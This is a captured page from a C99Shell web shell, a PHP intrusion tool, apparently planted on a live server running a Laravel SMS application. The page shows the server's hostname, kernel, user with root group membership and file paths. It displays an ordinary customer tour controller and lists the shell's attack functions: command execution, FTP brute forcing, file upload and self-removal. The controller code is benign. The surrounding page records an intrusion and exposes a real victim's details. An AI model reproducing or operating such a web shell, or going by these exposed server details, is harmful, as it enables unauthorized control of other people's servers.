!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.sms.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 25.2 GB of 117.98 GB (21.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TourController.php (3.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;

class 
TourController extends Controller
{
    
/**
     * Mark the tour as completed for the authenticated customer
     *
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    
public function markCompleted(Request $request)
    {
        try {
            
$customer Auth::guard('customer')->user();
            
            if (!
$customer) {
                return 
response()->json([
                    
'status' => 'error',
                    
'message' => 'User not authenticated'
                
], 401);
            }

            
$customer->tour_completed true;
            
$customer->tour_last_seen now();
            
$customer->save();

            return 
response()->json([
                
'status' => 'success',
                
'message' => 'Tour marked as completed'
            
]);
        } catch (
\Exception $e) {
            return 
response()->json([
                
'status' => 'error',
                
'message' => 'Failed to mark tour as completed: ' $e->getMessage()
            ], 
500);
        }
    }

    
/**
     * Reset the tour for the authenticated customer
     *
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    
public function resetTour(Request $request)
    {
        try {
            
$customer Auth::guard('customer')->user();
            
            if (!
$customer) {
                return 
response()->json([
                    
'status' => 'error',
                    
'message' => 'User not authenticated'
                
], 401);
            }

            
$customer->tour_completed false;
            
$customer->tour_last_seen now();
            
$customer->save();

            return 
response()->json([
                
'status' => 'success',
                
'message' => 'Tour has been reset'
            
]);
        } catch (
\Exception $e) {
            return 
response()->json([
                
'status' => 'error',
                
'message' => 'Failed to reset tour: ' $e->getMessage()
            ], 
500);
        }
    }

    
/**
     * Get the tour status for the authenticated customer
     *
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    
public function getTourStatus(Request $request)
    {
        try {
            
$customer Auth::guard('customer')->user();
            
            if (!
$customer) {
                return 
response()->json([
                    
'status' => 'error',
                    
'message' => 'User not authenticated'
                
], 401);
            }

            return 
response()->json([
                
'status' => 'success',
                
'data' => [
                    
'tour_completed' => (bool) $customer->tour_completed,
                    
'tour_last_seen' => $customer->tour_last_seen
                
]
            ]);
        } catch (
\Exception $e) {
            return 
response()->json([
                
'status' => 'error',
                
'message' => 'Failed to get tour status: ' $e->getMessage()
            ], 
500);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0087 ]--